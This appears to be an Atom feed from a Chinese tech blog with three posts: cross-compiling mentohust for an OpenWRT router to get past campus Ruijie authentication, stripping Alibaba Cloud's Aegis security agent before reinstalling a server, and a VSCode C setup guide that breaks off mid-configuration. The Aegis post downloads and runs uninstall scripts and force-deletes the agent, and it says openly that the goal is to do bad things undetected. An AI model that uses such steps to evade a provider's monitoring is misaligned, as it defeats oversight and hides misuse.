    <link href="https://blog.ypa.moe/%E4%B8%BAOpenWRT%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91mentohust/"/>
    <id>https://blog.ypa.moe/%E4%B8%BAOpenWRT%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91mentohust/</id>
    <published>2021-07-05T17:41:51.000Z</published>
    <updated>2021-07-11T05:38:36.000Z</updated>
    
    <content type="html"><![CDATA[<p>前段时间买了个GL-MT300N V1回来折腾，二手的也不贵，自带OpenWRT折腾起来也方便，干脆就计划整个mentohust用来在寝室过锐捷用无线网，但是因为自带的OpenWRT版本是15.05的上古版本，为了找到合适的SDK着实是给我坑了一把，后来经过IRC#Openwrt大佬们帮忙，成功把固件升级到了19.07.7的最新版，过程暂且不表，下次再说。今天就先简单记录一下交叉编译mentohust的过程。</p><h1 id="参数信息"><a href="#参数信息" class="headerlink" title="参数信息"></a>参数信息</h1><p>设备型号: GL-MT300N Version1<br>OpenWRT版本: 19.07.7<br>Soc: MediaTek MT7620N</p><h1 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h1><ul><li>已刷入OpenWRT的路由器</li><li>安装了Linux的物理机&#x2F;VPS&#x2F;虚拟机或者已经安装了WSL的Windows10</li><li>如果中国大陆境内进行编译操作，个人建议为Linux环境更换软件源，推荐使用<a href="https://mirrors.tuna.tsinghua.edu.cn">清华大学开源软件镜像站</a></li></ul><p><strong>本次我使用了已经安装了Ubuntu 18.04LTS的VPS进行编译</strong></p><h1 id="依赖安装"><a href="#依赖安装" class="headerlink" title="依赖安装"></a>依赖安装</h1><p>打开终端，输入以下指令安装编译必要程序</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install build-essential bison flex zlib1g-dev libncurses5-dev subversion quilt intltool ruby fastjar unzip gawk autogen autopoint ccache gettext libssl-dev xsltproc zip git</span><br></pre></td></tr></table></figure><h1 id="准备编译文件夹"><a href="#准备编译文件夹" class="headerlink" title="准备编译文件夹"></a>准备编译文件夹</h1><ol><li>在终端中建立一个文件夹便于管理,例如我创建的文件夹为 <code>openwrt</code> ，文件夹命名可以根据自己需要变化<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd ~</span><br><span class="line">sudo mkdir openwrt</span><br><span class="line">cd openwrt</span><br></pre></td></tr></table></figure></li><li>前往OpenWRT官网下载和你的路由器芯片以及系统版本所对应的SDK，在这里我们使用的GL-MT300N的芯片为mt7620，系统为19.07.7：<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">wget https://downloads.openwrt.org/releases/19.07.7/targets/ramips/mt7620/openwrt-sdk-19.07.7-ramips-mt7620_gcc-7.5.0_musl.Linux-x86_64.tar.xz -O sdk.tar.xz</span><br><span class="line">tar xvf sdk.tar.xz</span><br><span class="line">mv openwrt-sdk-19.07.7-ramips-mt7620_gcc-7.5.0_musl.Linux-x86_64 sdk</span><br><span class="line">rm -rf sdk.tar.xz</span><br></pre></td></tr></table></figure></li><li>下载libpcap的源码到 <code>libpcap</code> 文件夹，本文成文时最新版本为1.10.1<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">wget https://www.tcpdump.org/release/libpcap-1.10.1.tar.gz</span><br><span class="line">tar xvf libpcap-1.10.1.tar.gz</span><br><span class="line">mv libpcap-1.10.1 libpcap</span><br><span class="line">rm -rf libpcap-1.10.1.tar.gz</span><br></pre></td></tr></table></figure></li><li>下载mentohust的源代码到 <code>mentohust</code> 文件夹，github 上目前有大量的 <code>mentohust</code> 源码包，可以自行选择，此处我们选择使用 <code>hyrathb/mentohust</code><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/hyrathb/mentohust.git mentohust</span><br></pre></td></tr></table></figure></li></ol><h1 id="交叉编译"><a href="#交叉编译" class="headerlink" title="交叉编译"></a>交叉编译</h1><p>从这里开始就是我们今天的大头，交叉编译的部分</p><h2 id="配置交叉编译环境"><a href="#配置交叉编译环境" class="headerlink" title="配置交叉编译环境"></a>配置交叉编译环境</h2><p>在终端内输入</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">PATH=$PATH:~/openwrt/sdk/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/bin</span><br><span class="line">export PATH</span><br><span class="line">STAGING_DIR=~/openwrt/sdk/staging_dir/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2</span><br><span class="line">export STAGING_DIR</span><br><span class="line">export CC=mipsel-openwrt-linux-gcc</span><br><span class="line">export CPP=mipsel-openwrt-linux-cpp</span><br><span class="line">export GCC=mipsel-openwrt-linux-gcc</span><br><span class="line">export CXX=mipsel-openwrt-linux-g++</span><br><span class="line">export RANLIB=mipsel-openwrt-linux-ranlib</span><br><span class="line">export ac_cv_linux_vers=3.18.27</span><br><span class="line">export LDFLAGS=&quot;-static&quot;</span><br><span class="line">export CFLAGS=&quot;-Os -s&quot;</span><br></pre></td></tr></table></figure><p><strong>请不要直接复制粘贴，这里需要根据你的自身情况进行更改</strong><br>需要更改的地方有：</p><ul><li><code>CC</code>、<code>CPP</code>、<code>GCC</code>、<code>CXX</code>、<code>RANLIB</code> 请对比参考…&#x2F;staging_dir&#x2F;<path>&#x2F;bin 内的对应文件名进行修改</li><li><strong><code>RANLIB</code></strong> 要根据 <code>sdk</code> 里目录的结尾修改。在本例中，结尾是 <code>uClibc</code>，因此 <code>export RANLIB=mipsel-openwrt-linux-uClibc-ranlib</code>。如果你的结尾是 <code>musl</code>，就应该改成 <code>export RANLIB=mipsel-openwrt-linux-musl-ranlib</code></li><li><code>ac_cv_linux_vers</code> 为你所编译目标 OpenWrt 当前 Linux 内核版本号</li></ul><h2 id="编译libpcap"><a href="#编译libpcap" class="headerlink" title="编译libpcap"></a>编译libpcap</h2><ol><li>进入 <code>libpcap</code> 文件夹<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cd ~/openwrt/libpcap</span><br></pre></td></tr></table></figure></li><li>编译libpcap<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./configure --host=mipsel-linux --prefix=~/openwrt --with-pcap=linux</span><br><span class="line">make</span><br></pre></td></tr></table></figure><strong>请不要直接复制粘贴，这里需要根据你的自身情况进行更改</strong><br>需要更改的地方有：</li></ol><ul><li><code>--host</code> 需要对应你的路由器芯片架构进行修改 (<code>arm-linux</code>&#x2F;<code>mipsel-linux</code>)</li><li><code>--prefix</code> 更换成你的编译路径，本例中为<code>~/openwrt</code></li></ul><p>原则上来说 <code>./configure</code> 部分不应出现报错，<code>make</code> 部分可能会出现 <code>libpcap.so</code> 编译出错的报错，<strong>无需理会，只要 <code>libpcap.a</code> 没有报错即可</strong>，编译完成后记得查看一下目录下是否出现了<code>libpcap.a</code></p><h2 id="编译mentohust"><a href="#编译mentohust" class="headerlink" title="编译mentohust"></a>编译mentohust</h2><ol><li>进入 <code>mentohust</code> 文件夹并生成Makefile:<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd ~/openwrt/mentohust</span><br><span class="line">sh autogen.sh</span><br></pre></td></tr></table></figure>获取自己所在的平台<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./config.guess</span><br></pre></td></tr></table></figure>输出的信息替换到下方代码的 <code>--build</code> 中，然后执行命令进行编译：<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./configure --build=x86_64-pc-linux-gnu --host=mipsel-linux   --disable-encodepass --disable-notify --with-pcap=~/openwrt/libpcap/libpcap.a</span><br><span class="line">make</span><br></pre></td></tr></table></figure>其中 <code>--with-pca</code> 后内容请修改为自己的对应路径<br>如果运行无误，完成后就可以在 <code>~/openwrt/mentohust/src</code> 中获取所需要的 mentohust 文件了</li></ol><h1 id="上传运行"><a href="#上传运行" class="headerlink" title="上传运行"></a>上传运行</h1><p>OpenWRT原生内嵌了 <code>SCP</code> 服务，在我们完成编译后，打开 <code>WinSCP</code> 添加工作区，<strong>选择SCP协议</strong>链接到OpenWRT，将编译出来的 <code>mentohust</code> 粘贴进OpenWRT<br>粘贴进去之后，我们需要通过 <code>SSH</code> 链接路由器并改变 <code>mentohust</code> 的权限并设置环境变量</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chmod 777 mentohust</span><br><span class="line">cp mentohust /usr/bin/mentohust</span><br></pre></td></tr></table></figure><p>完成之后，直接在终端内输入 <code>mentohust</code> 即可启动运行。如果不确定使用哪张网卡请自行通过 <code>ifconfig</code> 判断。</p><h1 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h1><ul><li><a href="https://jiml.ee/posts/4d028789.html">使用 WSL 交叉编译 MentoHUST - Jim’s Blog</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;前段时间买了个GL-MT300N V1回来折腾，二手的也不贵，自带OpenWRT折腾起来也方便，干脆就计划整个mentohust用来在寝室过锐捷用无线网，但是因为自带的OpenWRT版本是15.05的上古版本，为了找到合适的SDK着实是给我坑了一把，后来经过IRC#Open</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="Linux" scheme="https://blog.ypa.moe/tags/Linux/"/>
    
    <category term="Ubuntu" scheme="https://blog.ypa.moe/tags/Ubuntu/"/>
    
    <category term="笔记" scheme="https://blog.ypa.moe/tags/%E7%AC%94%E8%AE%B0/"/>
    
    <category term="OpenWRT" scheme="https://blog.ypa.moe/tags/OpenWRT/"/>
    
  </entry>
  
  <entry>
    <title>云服务器更换纯净系统</title>
    <link href="https://blog.ypa.moe/%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9B%B4%E6%8D%A2%E7%BA%AF%E5%87%80%E7%B3%BB%E7%BB%9F/"/>
    <id>https://blog.ypa.moe/%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9B%B4%E6%8D%A2%E7%BA%AF%E5%87%80%E7%B3%BB%E7%BB%9F/</id>
    <published>2021-04-12T05:02:00.000Z</published>
    <updated>2021-04-12T05:56:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>众所周知，国内一干云服务器运营商喜欢搞什么云盾，最臭名昭著的莫过于阿里云的阿里云盾（安骑士）。为了可以更好的干坏事不被发现，我们需要给服务器换上纯净的系统</p><p>首先，我们需要关闭阿里云盾，由于我们仅仅需要更换系统，所以节约时间，运行以下指令即可：</p><ol><li>卸载阿里云盾<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">wget http://update.aegis.aliyun.com/download/uninstall.sh</span><br><span class="line">chmod +x uninstall.sh</span><br><span class="line">sudo ./uninstall.sh</span><br><span class="line">wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh</span><br><span class="line">chmod +x quartz_uninstall.sh</span><br><span class="line">sudo ./quartz_uninstall.sh</span><br></pre></td></tr></table></figure></li><li>删除残留<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo pkill aliyun-service</span><br><span class="line">sudo rm -fr /etc/init.d/agentwatch /usr/sbin/aliyun-service</span><br><span class="line">sudo rm -rf /usr/local/aegis*</span><br></pre></td></tr></table></figure></li></ol><p>作为一个合格的不干好事的家伙，我们不仅要换系统，还要把系统换到连服务器他妈（指阿里云）都认不出来。<br>所以，我们需要先在控制台中更换成把服务器另一个系统。<br>一般来说，如果想用debian系的系统，建议把系统更换成centos之后再换纯净系统；与之对应，如果想用centos，可以先换成ubuntu：</p><ol><li>打开控制台，选择实例-强行停止；</li><li>选择更换系统盘；</li><li>选择更换ubuntu&#x2F;centos（依上文所述选择）；</li><li>等待更换完成即可</li></ol><p>到目前为止，服务器他妈还是能认得出孩子的而且能够看出孩子干了些什么坏事。接下来，我们就要动手给服务器整容了——系统纯净化。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;众所周知，国内一干云服务器运营商喜欢搞什么云盾，最臭名昭著的莫过于阿里云的阿里云盾（安骑士）。为了可以更好的干坏事不被发现，我们需要给服务器换上纯净的系统&lt;/p&gt;
&lt;p&gt;首先，我们需要关闭阿里云盾，由于我们仅仅需要更换系统，所以节约时间，运行以下指令即可：&lt;/p&gt;
&lt;ol&gt;</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="Linux" scheme="https://blog.ypa.moe/tags/Linux/"/>
    
    <category term="云服务器" scheme="https://blog.ypa.moe/tags/%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>为VSCode配置C语言编程环境</title>
    <link href="https://blog.ypa.moe/VSCode%E9%85%8D%E7%BD%AEC%E7%BC%96%E7%A8%8B%E7%8E%AF%E5%A2%83/"/>
    <id>https://blog.ypa.moe/VSCode%E9%85%8D%E7%BD%AEC%E7%BC%96%E7%A8%8B%E7%8E%AF%E5%A2%83/</id>
    <published>2021-03-06T14:55:05.000Z</published>
    <updated>2021-03-30T13:55:39.000Z</updated>
    
    <content type="html"><![CDATA[<div class="alert alert-info"><div class="icon"><i class="fa fa-info"></i></div><div class="text"><p>这差不多算是我写blog这么久以来写的最良心的一个教程了<br/>(・∀・(・∀・(・∀・*)</p></div></div><p>近期我班开课C语言程序设计，本来是件挺开心的事，但是上课的时候让我们用Visual C++ 6.0来写。这俗话说得好，编程的时候每没个趁手的IDE，编程效率都要大幅降低（沃·兹基硕德），干脆直接给弟兄们来个全套VSCode套装，顺便记录一下如何给VSCode搭好C语言的编程环境</p><h1 id="依赖安装"><a href="#依赖安装" class="headerlink" title="依赖安装"></a>依赖安装</h1><p>最首先的，既然我们要用VSCode，我们得先安装上VSCode。下载可以前往<a href="https://code.visualstudio.com/#">官网下载</a>或者直接在<a href="https://dirdl1.ypa.moe/VSCodeSetup-x64-1.54.1.exe">本站下载(64位)</a><br>接下来，为了我们能够顺利使用GCC，我们需要安装MinGW。下载可以前往<a href="https://sourceforge.net/projects/mingw-w64/files/mingw-w64/mingw-w64-release/">SourceForge</a>下载（慢到爆炸）或者在<a href="https://dirdl1.ypa.moe/mingw-x86_64-8.1.0-win32.zip">本站下载(64位)</a><br>另外，如果遇到提示.NET Framework的问题，请安装.NET Framework，在弹窗中直接点击是会跳转至在线安装器，个人建议下载离线版安装包进行安装。离线版安装包下载可以前往<a href="https://www.microsoft.com/en-us/download/details.aspx?id=53344">官网下载</a>或者直接在<a href="https://dirdl1.ypa.moe/NDP462-KB3151800-x86-x64-AllOS-ENU.exe">本站下载(64位)</a></p><h1 id="VSCode及必要插件处理"><a href="#VSCode及必要插件处理" class="headerlink" title="VSCode及必要插件处理"></a>VSCode及必要插件处理</h1><h2 id="安装VSCode"><a href="#安装VSCode" class="headerlink" title="安装VSCode"></a>安装VSCode</h2><p>下载完VSCode的安装包之后，双击打开，然后直接一波无脑下一步就好。但是中间有一步需要注意，在第三次点击下一步之后会来到下图这个页面，这个页面的所有选项请全部勾选。<br><img src="/../media/image/VSCode-gcc/setup.jpg" alt="注意勾选"><br>之后点击下一步，等待完成安装即可。</p><h2 id="必要插件"><a href="#必要插件" class="headerlink" title="必要插件"></a>必要插件</h2><p>在VSCode完成安装之后，运行VSCode，找到页面左侧的一个有四个方块的图标，点进去，在左上输入框里输入<code>Chinese(Simplified)</code>，下方会显示一个名叫<code>Chinese (Simplified) Language Pack for Visual Studio Code</code>的插件，点击它右下角蓝色的<code>Install</code>按钮安装插件，这个插件用于VSCode的界面汉化。完成安装之后，在页面右下角会弹出一个窗口，点击<code>Restart</code>按钮重启程序，重启后界面将汉化。<br><img src="/../media/image/VSCode-gcc/languagepack.jpg" alt="汉化处理"><br>重启结束，再次来到刚刚安装插件的地方，在输入框里输入<code>C/C++</code>之后下面会出现一个同名的插件，同样的方法进行安装，安装完成后无需重启。<br><img src="/../media/image/VSCode-gcc/Cpack.jpg" alt="C语言插件安装"></p><h1 id="安装MinGW并构建C语言编程环境"><a href="#安装MinGW并构建C语言编程环境" class="headerlink" title="安装MinGW并构建C语言编程环境"></a>安装MinGW并构建C语言编程环境</h1><h2 id="MinGW安装"><a href="#MinGW安装" class="headerlink" title="MinGW安装"></a>MinGW安装</h2><p>下载完MinGW的压缩包之后，将压缩解压到没有中文的文件目录下，一般建议解压到<code>C:\Program_Files_(x86)</code>下并将解压出的文件夹重命名为MinGW。<br><img src="/../media/image/VSCode-gcc/MinGWunzip.jpg" alt="解压步骤"></p><h2 id="构建C语言编程环境"><a href="#构建C语言编程环境" class="headerlink" title="构建C语言编程环境"></a>构建C语言编程环境</h2><p>完成解压之后，我们开始构建C语言的编程环境<br>*注：本安装示例中，我们将以<code>C:\Program_Files\MinGW</code>作为示例安装位置。<br>接下来请严格按照教程顺序进行操作，以防止环境构建失败</p><ul><li>找到<code>C:\Program_Files\MinGW\bin</code>并记下这个目录位置；</li><li>回到桌面，右键点击<code>此电脑</code>图标，选择属性，进入控制面板界面；</li><li>点击页面左侧的<code>高级系统设置</code>弹出<code>系统属性</code>对话框并选择第三个<code>高级</code>选项卡;</li><li>点击对话框最下方的<code>环境变量</code>按钮；</li><li>在弹出的环境变量设置界面下的系统变量部分找到<code>Path</code>，双击打开；</li><li>点击弹出的新对话框的右侧的<code>新建</code>按钮，在出现的输入框中输入<code>C:\Program_Files\MinGW\bin</code>，接着一路点击确定到回到控制面板界面；<br><img src="/../media/image/VSCode-gcc/addpath.jpg" alt="添加步骤"></li><li>同时按下键盘上的<code>Win</code>+<code>R</code>，弹出运行窗口，输入<code>cmd</code>并回车打开命令提示符；</li><li>将<code>gcc -v -E -x c++ -</code>粘贴进命令行并回车运行，如显示和下图一致的内容则构建完成。<br><img src="/../media/image/VSCode-gcc/gcc-v.jpg" alt="检验步骤"></li></ul><p>至此，C语言的编程环境完成构建。</p><h1 id="为VSCode构建C语言编程环境"><a href="#为VSCode构建C语言编程环境" class="headerlink" title="为VSCode构建C语言编程环境"></a>为VSCode构建C语言编程环境</h1><p>接下来请严格按照教程顺序进行操作，以防止环境构建失败</p><ul><li>打开VSCode，点击页面最左侧的第一个纸张样式图标；</li><li>选择打开文件夹，选择&#x2F;新建一个你喜欢的文件夹作为你的编程工程文件夹，例如<code>D:\Clang</code>；<br><img src="/../media/image/VSCode-gcc/filepack.jpg" alt="选择文件夹"></li><li>选择完成之后新建一个名为<code>.vscode</code>的文件夹,位置应位于例如<code>D:\Clang\.vscode</code>，注意，最前面的点不能丢；</li><li>在<code>.vscode</code>文件夹中新建三个文件，分别命名为<code>c_cpp_properties.json</code>、<code>launch.json</code>、<code>tasks.json</code>;<br><img src="/../media/image/VSCode-gcc/jsons.jpg" alt="三个文件"></li><li>新建完成之后将以下三段文字分别复制到对应文件中：</li><li>以下为<code>c_cpp_properties.json</code><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;configurations&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Win32&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;includePath&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="string">&quot;$&#123;workspaceRoot&#125;&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/include/**&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include/c++&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include/c++/x86_64-w64-mingw32&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include/c++/backward&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include-fixed&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/include&quot;</span></span><br><span class="line">            <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;defines&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="string">&quot;_DEBUG&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;UNICODE&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;__GNUC__=6&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;__cdecl=__attribute__((__cdecl__))&quot;</span></span><br><span class="line">            <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;intelliSenseMode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;msvc-x64&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;browse&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;limitSymbolsToIncludedHeaders&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;databaseFilename&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;path&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;$&#123;workspaceRoot&#125;&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/include/**&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include/c++&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include/c++/x86_64-w64-mingw32&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include/c++/backward&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/include-fixed&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;C:/Program_Files/MinGW/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/include&quot;</span></span><br><span class="line">                <span class="punctuation">]</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="number">4</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></li><li>如果你的MinGW的安装位置和示例的不同请记得把上面这个json中的全部<code>C:/Program_Files/MinGW/</code>换成你的安装位置</li><li>以下为<code>launch.json</code><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;configurations&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;(gdb) Launch&quot;</span><span class="punctuation">,</span> <span class="comment">// 配置名称，将会在启动配置的下拉菜单中显示</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cppdbg&quot;</span><span class="punctuation">,</span> <span class="comment">// 配置类型，这里只能为cppdbg</span></span><br><span class="line">            <span class="attr">&quot;request&quot;</span><span class="punctuation">:</span> <span class="string">&quot;launch&quot;</span><span class="punctuation">,</span> <span class="comment">// 请求配置类型，可以为launch（启动）或attach（附加）</span></span><br><span class="line">            <span class="attr">&quot;program&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$&#123;workspaceFolder&#125;/$&#123;fileBasenameNoExtension&#125;.exe&quot;</span><span class="punctuation">,</span> <span class="comment">// 将要进行调试的程序的路径</span></span><br><span class="line">            <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span> <span class="comment">// 程序调试时传递给程序的命令行参数，一般设为空即可</span></span><br><span class="line">            <span class="attr">&quot;stopAtEntry&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span> <span class="comment">// 设为true时程序将暂停在程序入口处，一般设置为false</span></span><br><span class="line">            <span class="attr">&quot;cwd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$&#123;workspaceFolder&#125;&quot;</span><span class="punctuation">,</span> <span class="comment">// 调试程序时的工作目录，一般为$&#123;workspaceRoot&#125;即代码所在目录 workspaceRoot已被弃用，现改为workspaceFolder</span></span><br><span class="line">            <span class="attr">&quot;environment&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;externalConsole&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span> <span class="comment">// 调试时是否显示控制台窗口，一般设置为true显示控制台</span></span><br><span class="line">            <span class="attr">&quot;MIMode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;gdb&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;miDebuggerPath&quot;</span><span class="punctuation">:</span> <span class="string">&quot;C:/Program_Files/MinGW/bin/gdb.exe&quot;</span><span class="punctuation">,</span> <span class="comment">// miDebugger的路径，注意这里要与MinGw的路径对应</span></span><br><span class="line">            <span class="attr">&quot;preLaunchTask&quot;</span><span class="punctuation">:</span> 